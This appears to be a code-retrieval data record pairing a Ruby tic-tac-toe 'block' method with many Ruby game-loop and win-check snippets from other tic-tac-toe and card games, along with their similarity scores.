"def play_turn\n move = @current_player.get_move\n switch_players!\n @board.place_mark(move, :X)\n end",
"def play\n while !over?\n turn\n end\n if won?\n puts \"Congratulations #{winner}!\"\n else draw?\n puts \"Cat's Game!\"\n end\n end",
"def play_match()\n\t\t#start a loop \n\t\tgame_end = false\n\t\twhile not game_end\n\t\t\tchar = get_player()\n\t\t\t#play a round\n\t\t\tself.play_round(char)\n\t\t\tself.player_turn += 1\n\t\t\t#check for win condition\n\t\t\tif self.board.line_complete?(char)\n\t\t\t\tif char == \"X\"\n\t\t\t\t\tputs \"Player 1 won!\"\n\t\t\t\t\tself.p1_rounds += 1\n\t\t\t\telse\n\t\t\t\t\tputs \"Player 2 won!\"\n\t\t\t\t\tself.p2_rounds += 1\n\t\t\t\tend\n\t\t\t\tputs self.to_s()\n\t\t\t\tgame_end = true\n\t\t\t\tbreak\n\t\t\tend\n\t\t\t# check for stalemate\n\t\t\tgame_end = true if board.stalemate?()\n\t\tend\t\n\tend",
"def play_turn\n @board.place_mark(@current_player.get_move, @current_player.mark)\n switch_players!\n end",
"def play\r\n while !over?\r\n turn\r\n end\r\n if won?\r\n puts \"Congratulations #{winner}!\"\r\n elsif draw?\r\n puts \"Cats Game!\"\r\n end\r\n end",
"def win_check(wins, player, opponent)\n position = [] # placeholder for position that will give 3-in-a-row\n wins.each do |win| # check each win pattern\n difference = win - player # difference between current win array and player position array\n # if player 1 move from win, take position unless already opponent mark\n position.push(difference[0]) unless (opponent & difference).size == 1 if difference.size == 1\n end # .sample in case of multiple wins, otherwise check for blocks\n position.size > 0 ? position.sample : block_check(wins, player, opponent)\n end",
"def win\n if @guess == $code_strings\n puts Rainbow(\"You win!\").color(:green)\n @board.draw\n true\n else\n false\n end\n end",
"def win_or_lose\n if game_data.guesses_remaining.zero?\n puts File.read('./views/you_dead')\n puts File.read('./views/dead')\n elsif game_data.letters_left_to_guess == []\n puts File.read('./views/winscreen')\n else\n # allows us to break recursion if we are testing\n @test_cond == false ? Turn.new(game_data) : true\n end\n end",
"def player_win(b)\n\t\tif b == 1\n\t\t\tb = \"x\"\n\t\telse\n\t\t\tb = \"o\"\n\t\tend\n\t\tif @array_game[2] == b && @array_game[5] == b && @array_game[8] == b || @array_game[1] == b && @array_game[4] == b && @array_game[7] == b || @array_game[0] == b && @array_game[3] == b && @array_game[6] == b\n\t\t\tclean\n\t\t\tfonction_qui_a_pas_de_nom(b)\n\t\t\treturn false\n\t\telsif @array_game[0] == b && @array_game[1] == b && @array_game[2] == b || @array_game[3] == b && @array_game[4] == b && @array_game[5] == b || @array_game[6] == b && @array_game[7] == b && @array_game[8] == b\n\t\t\tclean\n\t\t\tfonction_qui_a_pas_de_nom(b)\n\t\t\treturn false\n\t\telsif @array_game[0] == b && @array_game[4] == b && @array_game[8] == b || @array_game[2] == b && @array_game[4] == b && @array_game[6] == b\n\t\t\tclean\n\t\t\tfonction_qui_a_pas_de_nom(b)\n\t\t\treturn false\n\t\telse\n\t\t\treturn true\n\t\tend\n\tend",
"def someoneWin?\n player = nil\n @@winCases.each { |a|\n player = @board[a[0]]\n if (player != \" \") && (@board[a[0]] == @board[a[1]]) && (@board[a[1]] == @board[a[2]])\n (0..2).each { |n| @board[a[n]].upcase! }\n puts \"We have a WINNER! ----> \" + player\n return player\n end\n }\n return false\n end",
"def play\n state = 0\n\n\n while true\n if state == 0\n puts \"C'est à #{@player0.name} de jouer (jeton #{@player0.token})\"\n puts \"Quelle case veux tu cocher #{@player0.name} ?\"\n print \"> \"\n n = gets.chomp.upcase\n\n until not_played?(n) && case_authorization?(n)\n print \"> \"\n n = gets.chomp.upcase\n end\n @played_cases << n\n @view.play(\"player0\",n)\n\n if @view.iswin?(@player0.token)\n puts \"#{@player0.name} a gagné.\"\n puts \"FÉLICITATIONS #{@player0.name}! \"\n puts \" \"\n @player0.score += 1\n break\n elsif isfull?\n puts \"Match nul ! \"\n puts \" \"\n break\n else\n state = 1 - state\n end\n else\n puts \"C'est à #{@player1.name} de jouer (jeton #{@player1.token})\"\n puts \"Quelle case veux tu cocher #{@player1.name} ?\"\n print \"> \"\n n = gets.chomp.upcase\n\n until not_played?(n) && case_authorization?(n)\n print \"> \"\n n = gets.chomp.upcase\n end\n\n @played_cases << n\n @view.play(\"player1\",n)\n\n if @view.iswin?(@player1.token)\n puts \"#{@player1.name} a gagné.\"\n puts \"FÉLICITATIONS #{@player1.name}! \"\n puts \" \"\n @player1.score += 1\n break\n elsif isfull?\n puts \"Match nul ! \"\n puts \" \"\n break\n else\n state = 1 - state\n end\n end\n end\n end",
"def play\n until @tic.win?[0] || @tic.win?[1] || @turn_count == @tic.x*@tic.y\n @tic.show_board\n puts ' '\n location_selected = get_player_input\n if check_space?(location_selected)\n place_piece(location_selected)\n else \n \tputs \"That location has already been played, or is outside of the game board. Please choose another location.\"\n end\n end\n\n @tic.show_board\n puts ' '\n\n if @tic.win?[0]\n puts \"#{@player1.name} Wins!\"\n elsif @tic.win?[1]\n puts \"#{@player2.name} Wins!\"\n else\n puts \"Tie - Game Over\"\n end\n end",
"def play_hand\n\n p1 = self.player1\n p2 = self.player2\n p1.play\n p2.play\n winner = winner?(p1,p2)\n if winner\n handle_winner(p1,p2)\n else \n self.war\n end\n\n end",
"def play\n\n until over?\n turn\n end\n\n if self.won?\n puts \"Congratulations #{self.winner}!\"\n elsif self.draw?\n puts \"Cat's Game!\"\n end\n\n end",
"def play\n # Game play asks for players input on a turn of the game\n # Game play checks if the game is over after every turn\n # Game play plays the first turn of the game\n # Game play plays the first few turns of the game\n # Game play checks if the game is won after every turn\n # Game play checks if the game is a draw after every turn\n while !over?\n turn\n end\n # Game play stops playing if someone has won\n # Game play congratulates the winner X\n # Game play congratulates the winner O\n if won?\n puts \"Congratulations #{winner}!\"\n # Game play stops playing in a draw\n # Game play prints \"Cat's Game!\" on a draw\n elsif draw?\n puts \"Cat's Game!\"\n end\n end",
"def play\n # unless the game is over players take turns\n take_turn until game_over?\n\n #start a new game if the game is over\n new_game_or_quit\n end",
"def play\n while !over?\n turn\n end\n if won?\n puts \"Congratulations #{winner}!\"\n elsif draw?\n puts \"Cats Game!\"\n end\nend",
"def check_win\n if @game_board.return_count == 5 and @timer.return_time >= 0\n @win = true\n end\n if @game_board.return_count < 5 and @timer.return_time == 0\n @lose = true\n end\n end",
"def win()\n\t return false if (self.score.nil? or self.opponent.score.nil?)\n\t self.score() ? self.score().to_i > self.opponent.score().to_i : false\n\tend",
"def win_check(wins, player, opponent)\n position = [] # placeholder for position that will give 3-in-a-row\n wins.each do |win| # check each win pattern\n difference = win - player # difference between current win array and player position array\n # if player 1 move from win, take position unless already opponent mark\n position.push(difference[0]) unless (opponent & difference).size == 1 if difference.size == 1\n end\n position.size > 0 ? position.sample : block_check(wins, player, opponent) # .sample in case of multiple\n end",
"def play_game_with_current_moves\n winners = get_games_winners\n save_winners(winners) unless winners.nil?\n winners\n end",
"def play\n while !over?\n turn\n board.display\n end\n if won?\n puts \"Congratulations #{winner}!\" \n elsif draw?\n puts \"Cats Game!\" \n end\n end",
"def start_game\n loop do\n display_board\n turn\n position_available ? player_positions : turn\n (display_board; p \"#{@player} wins!\"; break) if win_game\n (display_board; p \"Draw\"; break) if draw\n next_player\n end\n end",
"def play\n\t\n\t\tuntil over?\n\t\tturn\n\t\tend\n\t\t\n\t\tif won? \n\t\t\twinner\n\t\telsif draw? \n\t\t\tputs \"The game was a Draw!\"\n\t\telse \n\t\t\tputs \"Unexpected Error Occured\" \n\t\tend\n\tend",
"def win\n @music.stop if @sonido\n \n GAME_OBJECTS.each(&:destroy_all)\n pop_game_state\n push_game_state(Level2.new(player_name: @player_name, score: @score, sonido: @sonido, difficulty: @difficulty))\n end",
"def force_winner(player)\n player_symbol = player == @player1 ? 'O' : 'X'\n WIN_CONDITION[0].each { |x| @board.update_board(x + 1, player_symbol) }\n end",
"def Winner?(player)\r\n end",
"def win(player)\n\tgreeting\n puts \"---------------------\"\n show_grid\n puts \"\"\n puts \"G A M E O V E R\"\n puts \"\"\n\tif player == $computer_piece\n\t\tputs \"The computer wins!\"\n\telse\n\t\tputs \"You won the game!\"\n\tend\n\tputs \"\"\n\tputs \"---------------------\"\n\texit\nend",
"def win_round\n interface.win_round\n player.win_round\n croupier.lost_round\n overall_result\n end",
"def play\n turn until over?\n if won?\n puts \"Congratulations #{winner}!\"\n else\n puts \"Cats Game!\"\n end\n end",
"def play\n until @winner != \"\"\n player1.make_move(rules)\n player2.make_move(rules)\n puts \"#{player1.name} chose #{player1.move}\"\n puts \"#{player2.name} chose #{player2.move}\"\n round_winner = rules.judge_game(player1.move, player2.move)\n scoreboard(round_winner)\n end_game\n end \n winner \n end",
"def winner\n if @board.over?\n check = @board.won?\n if check != false\n player = player1.token == check ? player1 : player2\n puts\n puts \"|***************************************************************|\"\n puts \"Congratualations #{player.name}! You have won this match.\"\n puts \"|***************************************************************|\"\n puts \"Press anykey to continue ...\"\n gets.chomp\n else\n puts \"End game. There's no winner. This is tied game :(\"\n end\n end\n end",
"def play\n reset\n loop do\n break if @guesses == 0 || @win == true\n status_message\n enter_number\n evaluation_message\n end\n lose_message if @guesses == 0 && @win == false\n end",
"def war\n \n until winner?(self.player1,self.player2)\n 4.times do \n player1.play\n player2.play\n end\n end\n\n handle_winner(self.player1,self.player2)\n\n end",
"def win\n end",
"def win\n end",
"def check_win\n\t\t\tif win\n\t\t\t\tputs \"\\n You win!\" \n\t\t\telse\n\t\t\t\t# shows how many turns remain\n\t\t\t\tputs \"\\n You have #{TURNS - @turns} turns left\"\n\t\t\tend\n\t\tend",
"def play\n while !over?\n turn\n end\n\n if won?\n puts \"Congratulations #{winner}!\"\n elsif draw?\n puts \"Cat's Game!\"\n end\n end",
"def winner\r\n if self.won? != false\r\n if self.current_player == \"X\"\r\n return \"O\"\r\n else\r\n return \"X\"\r\n end\r\n end\r\n end",
"def win?\n\n end",
"def turn(player)\n puts \" C'est le tour de #{player.nom}\"\n\n#affichage du plateau\n @plateau.visuel\n\n#demande au joueur ce qu'il joue\n puts \"Ou veux tu placer ton pion?\"\n puts \"Info : Tapes de 1 à 9\"\n @choix = gets.chomp.to_i\n puts \"Tu as choisi la case #{@choix}\"\n\n#appel de la methode de modification de la valeur de la case\n @plateau.play(@choix, player, player.token)\n\n#affichage du tableau avec les modifications\n @plateau.visuel\n\n#verification de la victoire ou non \n @plateau.victory(player.win, player.token)\n puts player.win\n if player.win == false\n go\n elsif\n puts \"Le jeu est fini ! #{player.nom} à gagner\"\n end\n\n end",
"def play\n while !over?\n turn\n end\n if won?\n puts \"Congratulations #{ winner }!\"\n elsif draw?\n puts \"Cat's Game!\"\n else\n puts \"Game over\"\n end\n end",
"def play(players)\n while !win?\n players.each do |player|\n self.end_if_tie\n self.draw\n puts \"#{player.name} turn with #{player.sign}\"\n self.write(player)\n if win?\n puts \"#{player.name} wins!\"\n exit\n end\n end\n end\n end",
"def play\n while !over?\n turn\n end\n won? ? (puts \"Congratulations #{@winner}!\") : (puts \"Cat's Game!\")\n\n end",
"def play\n until self.over? do\n turn\n end\n\n if self.won?\n puts \"Congratulations #{self.winner}!\"\n elsif self.draw?\n puts \"Cat's Game!\"\n end\n end",
"def win?\n sleep(3)\n check_points\n end",
"def is_win(x, y, player)\n create_pivot_vectors(x, y)\n\n # TODO: parameter key not used (fix)\n @moves.each do |key, array|\n win3 = 0\n array.each do |key, val|\n if val == player\n win3 += 1\n return true if win3 == @win_with\n else\n win3 = 0\n end\n end\n end\n false\n end",
"def win(boord)\n if board[0] == 'X' && board[0] == 'X'\n end\n\n\n def display_board\n puts\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]}\"\n puts \"-\" * 11\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]}\"\n puts \"-\" * 11\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]}\"\n puts\n end\n\n def one_player_game\n turn = rand(1)\n available_turns = 9\n while available_turns > 0\n display_board\n if turn % 2 == 1\n puts \"Player 1, please pick a square from 1 to 9\"\n p1 = gets.chomp.to_i\n if @board[p1-1] == \" \"\n @board[p1-1] = \"X\"\n available_turns -= 1\n turn += 1\n else\n puts \"That square is already taken - please try another.\"\n end\n else\n p2 = rand(9)\n if @board[p2-1] == \" \"\n @board.delete_at(p2-1)\n @board.insert(p2-1, \"O\")\n puts \"Computer player chooses square #{p2}\"\n available_turns -= 1\n turn += 1\n else\n puts \"That square is already taken - please try another.\"\n end\n end\n end\n end_game\n end\n\n def two_player_game\n turn = rand(1)\n available_turns = 9\n while available_turns > 0 && win == \"no\"\n display_board\n if turn % 2 == 1\n puts \"Player 1, please pick a square from 1 to 9\"\n p1 = gets.chomp.to_i\n if @board[p1-1] == \" \"\n @board.delete_at(p1-1)\n @board.insert(p1 - 1, \"X\")\n available_turns -= 1\n turn += 1\n else\n puts \"That square is already taken - please try another.\"\n end\n else\n puts \"Player 2, please pick a square from 1 to 9\"\n p2 = gets.chomp.to_i\n if @board[p2-1] == \" \"\n @board.delete_at(p2-1)\n @board.insert(p2-1, \"O\")\n available_turns -= 1\n turn += 1\n else\n puts \"That square is already taken - please try another.\"\n end\n end\n end\n end_game\n end\n\n def start_game\n available_turns = 9\n while available_turns == 9\n puts\n puts \"*\" * 36\n puts \"Are you ready for some Tic-Tac-Toe?!\"\n puts \"*\" * 36\n puts\n input = gets.chomp.downcase\n if input == \"yes\"\n puts\n puts \"*\" * 36\n puts \"One player or two?\"\n puts \"*\" * 36\n puts\n player_num = gets.chomp.downcase\n if player_num == \"one\"\n one_player_game\n else\n two_player_game\n end\n else\n puts \"Your loss, buddy!\"\n exit!\n end\n end\n end\nend",
"def play(board)\n until over?(board)\n turn(board)\n #value=current_player(board)\n end\n if winner(board)==\"X\"\n puts \"Congratulations X!\"\n elsif winner(board)==\"O\"\n puts \"Congratulations O!\"\n else\n puts \"Cats Game!\"\n end\nend"
] |
[
"0.7757622",
"0.7658624",
"0.76118976",
"0.75956666",
"0.74922377",
"0.7441926",
"0.74201065",
"0.7400053",
"0.73219293",
"0.72918755",
"0.7280651",
"0.7256046",
"0.7250717",
"0.72389",
"0.7238165",
"0.722224",
"0.7218005",
"0.72001284",
"0.7194825",
"0.7194825",
"0.7192151",
"0.71802944",
"0.7161577",
"0.715307",
"0.7149825",
"0.7146047",
"0.7116929",
"0.7111908",
"0.71096355",
"0.70907134",
"0.70899504",
"0.70625794",
"0.7057394",
"0.70572346",
"0.7045986",
"0.7033529",
"0.7030273",
"0.7027858",
"0.7025032",
"0.7010293",
"0.69991887",
"0.69777936",
"0.69753945",
"0.69691324",
"0.6957675",
"0.69544953",
"0.69497263",
"0.6938933",
"0.69327766",
"0.69240206",
"0.69188464",
"0.69126594",
"0.690826",
"0.6907791",
"0.6904876",
"0.6904582",
"0.6903503",
"0.6893852",
"0.68892574",
"0.6888593",
"0.6884834",
"0.68788105",
"0.6873926",
"0.68685114",
"0.6865734",
"0.6862844",
"0.6862217",
"0.6861391",
"0.6857965",
"0.6854637",
"0.68528384",
"0.6845156",
"0.68403584",
"0.6840151",
"0.6839941",
"0.68394524",
"0.6838802",
"0.6836714",
"0.6835799",
"0.6832843",
"0.6831463",
"0.6822734",
"0.68206805",
"0.6820597",
"0.68053865",
"0.6799877",
"0.67979974",
"0.67979974",
"0.67929906",
"0.6791195",
"0.6788862",
"0.67869407",
"0.678373",
"0.6781257",
"0.67806625",
"0.67746115",
"0.67730093",
"0.6768337",
"0.67559785",
"0.6755229",
"0.67530096"
] |
0.0
|
-1
|
2. block : if opponent can win, play block move
|
def block(board)
POSSIBLE_WINS.each do |win|
marks = board.each_index.select { |i| board[i] == opponent_symbol(@symbol).to_s }
matches = win & marks
if matches.size == 2
missing = win - matches
missing = missing[0]
return missing unless board[missing] != " "
end
end
return false
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def block\n winning_move(@opponent_mark) \n end",
"def ai_block_win(board)\n\t\tvalid_moves = [\"1\", \"2\", \"3\", \"4\", \"5\", \"6\", \"7\", \"8\", \"9\"]\n\t\tnew_hash = {} # Holds the winning combination positions the other player is occupying\n\t\tfinal_hash= {} # Holds the winning combination that need to be blocked on the next move\n\t\tmove = 0 # variable initialization\n\t\t# Define the positions taken on the board by the other player\n\t\t# Other player is not the current player\n\t\tplayer_positions(board)\n\t player_moves(board)\n\t\tif (@move_o == nil && @move_c == nil) || (@move_o.empty? && @move_c.empty?) # If there are no moves to be made for either player return nil\n\t\t\tmove = nil\n\t\telsif @move_o.empty? || @move_o == nil # if no other player block move then play current player move\n\t\t\t@move_c # Final single move to be made to make a winning move\n\t\telsif @move_c.empty? || @move_c == nil # if no current player win move then play other player block move\n\t\t\t@move_o # Final single move to be made to block other player's winning move\n\t\telse\n\t\t\t@move_c # Final single move to be made to make a winning move\n\t\tend\n\tend",
"def block_check(wins, player, opponent)\n position = [] # placeholder for position that will block the opponent\n wins.each do |win| # check each win pattern\n difference = win - opponent # difference between current win array and opponent position array\n # if opponent 1 move from win, block position unless already player mark\n position.push(difference[0]) unless (player & difference).size == 1 if difference.size == 1\n end\n position.size > 0 ? position.sample : sel_rand(player, opponent) # .sample in case of multiple\n end",
"def win_or_block(board) \n if reach?(board, self.token)\n reach?(board, self.token).find {|cell| !board.taken?(cell+1)}\n elsif reach?(board, self.opponent_token)\n reach?(board, self.opponent_token).find {|cell| !board.taken?(cell+1)}\n end\n end",
"def block_check(wins, player, opponent)\n position = [] # placeholder for position that will block the opponent\n wins.each do |win| # check each win pattern\n difference = win - opponent # difference between current win array and opponent position array\n # if opponent 1 move from win, block position unless already player mark\n position.push(difference[0]) unless (player & difference).size == 1 if difference.size == 1\n end # .sample in case of multiple blocks, otherwise check for forks\n position.size > 0 ? position.sample : fork_check(wins, player, opponent)\n end",
"def botTurn\n # check if we can win with one move or need to block\n if positions = winOrBlock?(currentPlayer) || positions = winOrBlock?( (currentPlayer == 'X')? 'O' : 'X')\n takeLastSpot(positions)\n \n # check if there is a chance for bot to create a fork, or block oponent from making fork \n elsif forks = possibleFork?(currentPlayer) || forks = possibleFork?((currentPlayer == 'X')? 'O' : 'X')\n \n \n if forks.size == 1\n # find the most common index and move there\n commonElement = forks.max_by {|i| forks.count(i)}\n move(commonElement, currentPlayer)\n else\n # more than one fork possible,\n # find optimal block point, move there\n move(blockPoint(forks), currentPlayer)\n end\n \n # take the center if its available\n elsif !position_taken?(4)\n move(4, currentPlayer)\n \n # take an opposite corner from the oponent. If not available, take any corner\n elsif corner = cornerMove\n move(corner, currentPlayer)\n \n # play in a middle square on any of the sides \n else\n SIDE_MIDDLE.each do |position|\n if !position_taken?(position)\n move(position, currentPlayer)\n break\n end\n end\n end\n puts \"#{(currentPlayer == 'X')? 'O': 'X'}'s move: \"\n displayBoard\n end",
"def block(human, marker, index)\r\n\t\tif human[marker] == win\r\n\t\t\tboard[index] = perfect_move\r\n\t\t\ttrue\r\n\t\telse\r\n\t\t\tfalse\r\n\t\tend\r\n\tend",
"def play_round\n loop do\n self.board.display_board\n self.player1.turn_action\n if self.player1.winner? || self.board.board_full?\n break\n end\n self.player2.turn_action\n if self.player2.winner? || self.board.board_full?\n break\n end\n end\n self.board.display_board\n end",
"def block(human, marker, index)\n\t\tif human[marker] == win\n\t\t\tboard[index] = perfect_move\n\t\t\ttrue\n\t\telse\n\t\t\tfalse\n\t\tend\n\tend",
"def block_player_or_win(board, open_spaces)\n WINNING_LINES.each do |box|\n if board[box[0]] == 'O' && board[box[1]] == 'O' && open_spaces.include?(box[2])\n return box[2]\n elsif board[box[0]] == 'O' && board[box[2]] == 'O' && open_spaces.include?(box[1])\n return box[1]\n elsif board[box[1]] == 'O' && board[box[2]] == 'O' && open_spaces.include?(box[0])\n return box[0]\n end\n end\n\n WINNING_LINES.each do |box|\n if board[box[0]] == 'X' && board[box[1]] == 'X' && open_spaces.include?(box[2])\n return box[2]\n elsif board[box[0]] == 'X' && board[box[2]] == 'X' && open_spaces.include?(box[1])\n return box[1]\n elsif board[box[1]] == 'X' && board[box[2]] == 'X' && open_spaces.include?(box[0])\n return box[0]\n end\n end\n nil\nend",
"def block(board)\n opponent_token = find_opponent_token\n block_options = []\n WIN_COMBINATIONS.each do |combo| \n if combo.reject {|i| board.cells[i] == opponent_token}.length == 1\n block_options << combo.detect {|i| board.cells[i] == \" \"}\n end\n end\n block_move = block_options.first\n if block_move != nil\n (block_move+=1).to_s\n end\n block_move\n end",
"def easy_win(player)\n win if player.points == 4 && player.opponent.points < 3\n end",
"def play()\n \twinner = false\n \twhile not winner\n\t # player 1 moves\n\t @board.show()\n\t location = @player1.play()\n\t @board.changeLocation(location, @player1.marker)\n\n\t # did he win?\n\t winner = @board.checkWinner(@player1.marker)\n\t break if winner\n\n\t # player 2 plays\n\t @board.show()\n\t location = @player2.play()\n\t @board.changeLocation(location, @player2.marker)\n\n\t # did he win?\n\t winner = @board.checkWinner(@player2.marker)\n\n\tend\n @board.show()\n puts \"Player #{winner} won the game!\"\n end",
"def win_or_block(board, token)\n if token == self.token\n winning_combinations = find_available_combinations(board, self.token).select {|combo| (combo & find_moves_made(board, self.token)).count == 2 }\n winning_combination = winning_combinations.sample\n (winning_combination - find_moves_made(board, self.token)).first\n else\n winning_combinations = find_available_combinations(board, self.opponent.token).select {|combo| (combo & find_moves_made(board, self.opponent.token)).count == 2 }\n winning_combination = winning_combinations.sample\n (winning_combination - find_moves_made(board, self.opponent.token)).first\n end\n end",
"def play\n while true\n current_player.en_passant = false\n board.formatted_grid\n if check_for_check\n if check_for_checkmate\n puts \"Checkmate!\"\n else\n puts \"Check!\"\n end\n end\n x, y = prompt_selection\n puts \"\"\n puts ask_move\n x_end, y_end = get_move\n if x_end == \"back\"\n board.clear_board\n play\n end\n while board.valid_place?(x_end, y_end) == false\n puts \"Invalid option! Try again:\"\n x_end, y_end = get_move\n board.valid_place?(x_end, y_end)\n end\n #check for en passant\n if board.get_cell_piece(x, y).type == \"pawn\" && y_end - y == 2\n current_player.en_passant = true\n elsif board.get_cell_piece(x, y).type == \"pawn\" && y - y_end == 2\n current_player.en_passant = true\n end\n\n #check for promotion\n if board.get_cell_piece(x, y).type == \"pawn\" && board.get_cell_piece(x, y).color == \"white\" && y_end == 0\n promote(x, y)\n elsif board.get_cell_piece(x, y).type == \"pawn\" && board.get_cell_piece(x, y).color == \"black\" && y_end == 7\n promote(x, y)\n end\n\n #check for castling\n if board.get_cell_piece(x, y).type == \"king\" && x_end - x == 2\n board.piece_move(x + 3, y, x + 1, y)\n board.set_cell_color(x + 2, y, \"red\")\n elsif board.get_cell_piece(x, y).type == \"king\" && x - x_end == 2\n board.piece_move(x - 4, y, x - 1, y)\n board.set_cell_color(x - 2, y, \"red\")\n end\n #check if taking an opponent's piece\n if is_taking_piece?(x_end, y_end) \n hash_value = other_player.pieces_left.key([x_end, y_end])\n current_player.pieces_left[hash_value] = [x_end, y_end]\n other_player.pieces_left.delete(hash_value)\n\n board.piece_move(x, y, x_end, y_end)\n else\n hash_value = current_player.pieces_left.key([x, y])\n current_player.pieces_left[hash_value] = [x_end, y_end]\n board.piece_move(x, y, x_end, y_end)\n end\n #if board.game_over\n #puts game_over_message\n #board.formatted_grid\n #return\n #else\n switch_players\n #end\n end\n end",
"def play_game\n @player = ask_for_player\n position = Board.new\n while !position.end?\n puts position\n puts\n idx = @player == \"human\" ? ask_for_move(position) : position.best_move\n position.move(idx)\n @player = other_player\n end\n puts position\n if position.blocked?\n puts \"tie\\nDo you want to play again?\"\n puts \"Y/n\"\n ans = gets.chomp\n return replay_game if ans == \"Y\"\n puts \"Thanks for play our game\" if ans == \"n\"\n else\n puts \"winner: #{other_player}\\nDo you want to play again?\"\n puts \"Y/n\"\n ans = gets.chomp\n return replay_game if ans == \"Y\"\n puts \"Thanks for play our game\" if ans == \"n\"\n end\n end",
"def winning_move\n simulate_move(@player_num)\n end",
"def play\n #self.set_players # Only uncomment one of these two lines.\n self.set_computer_players # Uncomment this line to have two computer players\n until @board.winner?\n self.turn\n self.change_current_player\n end\n winner = (@current_player == @player1) ? @player2 : @player1\n puts \" #{winner.color.to_s.upcase} is the winner!!!!\"\n puts \"Thanks for playing.\"\n end",
"def play\n\t\t@board.print_grid\n\t\tdo_break = false\n\t\twhile !((@board.checkWin('X', @p1.name)) || (@board.checkWin('O', @p2.name)))\n\t\t\tplayer_turn\n\t\t\tif @@turn == 9\n\t\t\t\tdo_break = true\n\t\t\tend\n\t\t\tbreak if do_break\n\t\tend\n\t\tfinish\n\tend",
"def play\n until @board.winner?(@player_1.token) || @board.winner?(@player_2.token)\n @board.print\n self.play_turn\n p \"--------------------\"\n end\n\n self.switch_players!\n @board.print\n p @current_player.token + \" has won!\"\n end",
"def play\n until @board.winner?(@player_1.token) || @board.winner?(@player_2.token)\n @board.print\n self.play_turn\n p \"--------------------\"\n end\n\n self.switch_players!\n @board.print\n p @current_player.token + \" has won!\"\n end",
"def play\n p_arr = randomize_players(@player_1, @player_2)\n current_player = p_arr[0]\n next_player = p_arr[1]\n current_player.piece = 'X'\n next_player.piece = 'O'\n puts \"Player #{current_player.id.to_s} goes first!\"\n\n end_message = \"\"\n loop do\n set_cell(current_player.move(self))\n if check_win?\n end_message = current_player.win_message\n break\n elsif check_draw?\n end_message = \"It's a draw.\"\n break\n end\n current_player, next_player = next_player, current_player\n end\n\n display_board\n end_message\n end",
"def win_actions\n @i.cls\n @i.show_balance(@user)\n @i.show_cards(@open, @user, @croupier)\n @i.winner_msg(@user, @croupier, @winner) if @winner == @user || @winner == @croupier\n @i.winner_msg(@user, @croupier, @draw) if @winner == @draw\n\n # balance\n @winner.balance += @bank if @winner == @user || @winner == @croupier\n if @winner == @draw\n @user.balance += 10\n @croupier.balance += 10\n end\n # play again\n if check_end\n @i.cls\n @winner = nil\n @bank = 0\n @open = false\n @loser = nil\n # start new game\n else\n # exit from the program\n @again = false\n end\n end",
"def play_hand\n\n p1 = self.player1\n p2 = self.player2\n p1.play\n p2.play\n winner = winner?(p1,p2)\n if winner\n handle_winner(p1,p2)\n else \n self.war\n end\n\n end",
"def win_check(wins, player, opponent)\n position = [] # placeholder for position that will give 3-in-a-row\n wins.each do |win| # check each win pattern\n difference = win - player # difference between current win array and player position array\n # if player 1 move from win, take position unless already opponent mark\n position.push(difference[0]) unless (opponent & difference).size == 1 if difference.size == 1\n end # .sample in case of multiple wins, otherwise check for blocks\n position.size > 0 ? position.sample : block_check(wins, player, opponent)\n end",
"def play\nturn until over?\nif won?\n puts \"Congratulations #{winner}!\"\nelsif draw? == true\n puts \"Game over! Thanks for playing.\"\nend\nend",
"def win_or_block(sym)\n finished = false\n 0.upto(8) do |i|\n origin = board.cells[i]\n board.cells[i] = sym if origin.nil?\n finished = i + 1 if board.win_game?(sym)\n board.cells[i] = origin\n end\n finished\n end",
"def win_check(wins, player, opponent)\n position = [] # placeholder for position that will give 3-in-a-row\n wins.each do |win| # check each win pattern\n difference = win - player # difference between current win array and player position array\n # if player 1 move from win, take position unless already opponent mark\n position.push(difference[0]) unless (opponent & difference).size == 1 if difference.size == 1\n end\n position.size > 0 ? position.sample : block_check(wins, player, opponent) # .sample in case of multiple\n end",
"def play(player_move, bot_move)\n\t\tif player_move == bot_move\n\t\t\t:draw\n\t\telsif player_move == :rock && bot_move == :scissors || player_move == :paper && bot_move == :rock || player_move == :scissors && bot_move == :paper\n\t\t\t:player_wins\n\t\telse\n\t\t\t:bot_wins\n\t\tend\n\tend",
"def play\n # unless the game is over players take turns\n take_turn until game_over?\n\n #start a new game if the game is over\n new_game_or_quit\n end",
"def next_move(player,board,move)\n completed = false;\n blocking = false;\n if(move == 1) #First Move (hard coded)\n puts \"2 0\";\n elsif(move == 2) #Second Move (hard coded)\n if(board[1][1] == 'X')\n puts \"2 2\";\n else\n puts \"1 1\";\n end \n elsif(move == 3) #Third move (hard coded)\n if(board[0][1] == 'O' || board[1][0] == 'O' || board[1][2] == 'O' || board[2][1] == 'O')\n puts \"1 1\";\n elsif(board[1][1] == 'O')\n puts \"0 2\";\n elsif(board[0][2] == 'O' || board[2][2] == 'O')\n puts \"0 0\";\n else\n puts \"2 2\";\n end\n else #Any move after the 3rd\n completed = can_complete(player,board)\n if(completed == false)\n blocking = must_block(player,board);\n if(blocking == false)\n prevent = can_complete(player,board)\n if(move == 4 && (board[0][0] == 'X' || board[0][2] == 'X' || board[2][0] == 'X' || board[2][2] == 'X') && (board[0][1] == 'X' || board[1][0] == 'X' || board[1][2] == 'X' || board[2][1] == 'X'))\n if(board[0][1] == 'X' || board[2][1] == 'X')\n puts \"1 0\";\n else\n puts \"0 1\";\n end\n elsif(move == 4 && ((board[0][0] == 'X' && board[2][2] == 'X') || (board[0][2] == 'X' && board[2][0] == 'X') || (board[0][1] == 'X' && board[2][1] == 'X') || (board[1][0] == 'X' && board[1][2] == 'X')))\n if((board[0][0] == 'X' && board[2][2] == 'X') || (board[0][2] == 'X' && board[2][0] == 'X'))\n puts \"0 1\";\n else\n puts \"0 0\";\n end\n elsif(move == 6 && (board[2][1] == 'X' || board[0][1] == 'X') && (board[1][0] == 'X' || board[1][2] == 'X') && board[2][2] == '_')\n puts \"2 2\";\n elsif(board[0][0] == \"_\")\n puts \"0 0\";\n elsif(board[0][2] == \"_\")\n puts \"0 2\";\n elsif(board[2][2] == \"_\")\n puts \"2 2\";\n elsif(board[2][0] == \"_\")\n puts \"2 0\";\n elsif(board[0][1] == \"_\")\n puts \"0 1\";\n elsif(board[2][1] == \"_\")\n puts \"2 1\";\n elsif(board[1][0] == \"_\")\n puts \"1 0\";\n elsif(board[1][2] == \"_\")\n puts \"1 2\";\n else\n puts \"1 1\";\n end\n end\n end\n 